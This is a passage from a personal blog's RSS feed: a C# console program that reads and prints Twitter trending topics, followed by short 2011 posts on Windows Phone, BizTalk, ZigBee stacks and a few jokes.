&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt;45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt;46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt;47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt;48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt;49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt;50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt;51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt;52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt;53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt;54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt;55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt;56&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;57&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#57&#34;&gt;57&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;58&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#58&#34;&gt;58&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;59&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#59&#34;&gt;59&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;60&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#60&#34;&gt;60&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;61&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#61&#34;&gt;61&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;62&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#62&#34;&gt;62&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;63&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#63&#34;&gt;63&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;64&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#64&#34;&gt;64&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;65&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#65&#34;&gt;65&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;66&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#66&#34;&gt;66&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;67&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#67&#34;&gt;67&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;68&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#68&#34;&gt;68&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;using&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;System&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;using&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;System.Collections.Generic&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;using&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;System.Linq&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;using&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;System.Text&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;using&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;Newtonsoft.Json.Linq&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;using&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;System.Net&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;using&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;System.IO&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;namespace&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;TwitterTrends&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;Program&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ed8796&#34;&gt;static&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;void&lt;/span&gt; Main(&lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt;[] args)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//get the trends&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; temp = ReadTrends();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//as the key is a datetime stamp (which is constantly moving), need something constant to interrogate.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//simplest way is to find out the year and then take 19 characters from that which is the datetime stamp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//replace that with a literal (DESIGEEK.COM in my case) and then use the literal. I don&amp;#39;t think I will&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//be trending on Twitter; but if you are worried then you can use something like a GUID.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// For example at the time of writing this the datetime stamp was: &amp;#34;2011-03-02 14:20:00&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; theDate = temp.Substring(temp.IndexOf(DateTime.Now.Year.ToString()), &lt;span style=&#34;color:#f5a97f&#34;&gt;19&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                temp = temp.Replace(theDate, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;DESIGEEK.COM&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//parse the string for the literal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                JObject trends = JObject.Parse(temp);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#ed8796&#34;&gt;var&lt;/span&gt; twitterTrends = &lt;span style=&#34;color:#c6a0f6&#34;&gt;from&lt;/span&gt; t &lt;span style=&#34;color:#c6a0f6&#34;&gt;in&lt;/span&gt; trends[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;trends&amp;#34;&lt;/span&gt;][&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;DESIGEEK.COM&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                                    &lt;span style=&#34;color:#c6a0f6&#34;&gt;select&lt;/span&gt; t.Value&amp;lt;&lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt;&amp;gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//iterate through&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;foreach&lt;/span&gt; (&lt;span style=&#34;color:#ed8796&#34;&gt;var&lt;/span&gt; item &lt;span style=&#34;color:#c6a0f6&#34;&gt;in&lt;/span&gt; twitterTrends)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    Console.WriteLine(item);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt; (Exception ex)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                Console.WriteLine(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Following error occured:\n&amp;#34;&lt;/span&gt; + ex.ToString());
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            Console.WriteLine(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;\nAll done. Press any key to continue...&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            Console.ReadKey();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ed8796&#34;&gt;private&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;static&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; ReadTrends()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//talk to twitter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            WebRequest theRequest = HttpWebRequest.Create(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;http://search.twitter.com/trends/current.json&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            HttpWebResponse theResponse = (HttpWebResponse)theRequest.GetResponse();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//extract the data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            Stream stream = theResponse.GetResponseStream();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            StreamReader reader = &lt;span style=&#34;color:#c6a0f6&#34;&gt;new&lt;/span&gt; StreamReader(stream);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ed8796&#34;&gt;string&lt;/span&gt; temp = reader.ReadToEnd();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;//clean up&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            reader.Close();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            stream.Close();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            theResponse.Close();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; temp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Upgrading through every version of Windows</title>
      <link>/post/2011/03/upgrading-through-every-version-of-windows/</link>
      <pubDate>Wed, 02 Mar 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/03/upgrading-through-every-version-of-windows/</guid>
      <description>&lt;p&gt;Upgrading through *all* versions of Windows from v1 thru to Win7.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>What is Gaali?</title>
      <link>/post/2011/02/what-is-gaali/</link>
      <pubDate>Sun, 20 Feb 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/02/what-is-gaali/</guid>
      <description>&lt;p&gt;Krodh k samay mukh se nikle ashleel shabd athwa shabdo ka samuh, jinke uchaaran k pashchaat vyakti k hriday ko shanti ka anubhav hota hai :)&lt;/p&gt;
&lt;p&gt;(Sorry too complicated to translate from Hindi to English)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Google maps on Win 7 phone?</title>
      <link>/post/2011/02/google-maps-on-win-7-phone/</link>
      <pubDate>Tue, 15 Feb 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/02/google-maps-on-win-7-phone/</guid>
      <description>&lt;p&gt;So I am not the biggest fan of MS maps and prefer google maps. Any ideas if this is available instead of the default maps on Win 7 phone, and I don&amp;rsquo;t mean the web version :).&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Windows Mobile 7 Apps?</title>
      <link>/post/2011/02/windows-mobile-7-apps/</link>
      <pubDate>Mon, 14 Feb 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/02/windows-mobile-7-apps/</guid>
      <description>&lt;p&gt;First post from my brand new Windows Mobile 7 - HTC 7 Pro.&lt;/p&gt;
&lt;p&gt;What free apps do you recommend? :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>BizTalk 2010</title>
      <link>/post/2011/02/biztalk-2010/</link>
      <pubDate>Mon, 07 Feb 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/02/biztalk-2010/</guid>
      <description>&lt;p&gt;I was wondering what new features of BizTalk 2010 do you like the most? Also are they any must have tools now? I am interested in the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Automated deployment (of interfaces)&lt;/li&gt;
&lt;li&gt;Automated testing (regression and functional where possible)&lt;/li&gt;
&lt;li&gt;Automated configuration management (across various environments – development, various testing, pre-prod and of course prod).&lt;/li&gt;
&lt;li&gt;Coordination with AppFabric?&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Tomatoes</title>
      <link>/post/2011/01/tomatoes/</link>
      <pubDate>Sat, 29 Jan 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/01/tomatoes/</guid>
      <description>&lt;p&gt;A family of tomatoes were walking down the street. The youngest tomato was being silly lagging behind and then unfortunately he was stepped on. The mother tomato turned around and said “ketch-up”&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>More Yo Mama</title>
      <link>/post/2011/01/more-yo-mama/</link>
      <pubDate>Sun, 23 Jan 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/01/more-yo-mama/</guid>
      <description>&lt;p&gt;Yo mama is so stupid that when she locked her keys in the car, it took her all day to get Yo family out.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Sounds like Facebook</title>
      <link>/post/2011/01/sounds-like-facebook/</link>
      <pubDate>Thu, 20 Jan 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/01/sounds-like-facebook/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1162954737_AMPYN-M.jpg&#34; alt=&#34;Get a Billion&#34;/&gt;
        &lt;figcaption&gt;Get a Billion&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Opensource ZigBee stack?</title>
      <link>/post/2011/01/opensource-zigbee-stack/</link>
      <pubDate>Sun, 16 Jan 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/01/opensource-zigbee-stack/</guid>
      <description>&lt;p&gt;I was planning on getting the &lt;a
	
		href = &#34;http://www.telegesis.com/products/test_page_2.htm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Telegesis ETRX2USB
	&lt;/span&gt;
&lt;/a&gt; and wanted to know if there are any open source (or shareware) open source ZigBee stacks that I can use with that?&lt;/p&gt;
&lt;p&gt;I also wanted to know if there is any opensource (or not too expensive), network management or network analyser for a ZigBee network? Essentially I want to be able to programatically view network and node information on the ZigBee network (e.g. S/N ratio, signal strength, etc.) - something similar to &lt;a
	
		href = &#34;http://www.ember.com/products_zigbee_development_tools_desktop.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Ember&#39;s Insight Desktop
	&lt;/span&gt;
&lt;/a&gt; which &lt;a
	
		href = &#34;http://www.ember.com/products_insight_desktop_pop.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		shows the details
	&lt;/span&gt;
&lt;/a&gt; I am interested in. I could not find anything specific and would be interested in getting ideas.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Yo Mama</title>
      <link>/post/2011/01/yo-mama/</link>
      <pubDate>Fri, 14 Jan 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/01/yo-mama/</guid>
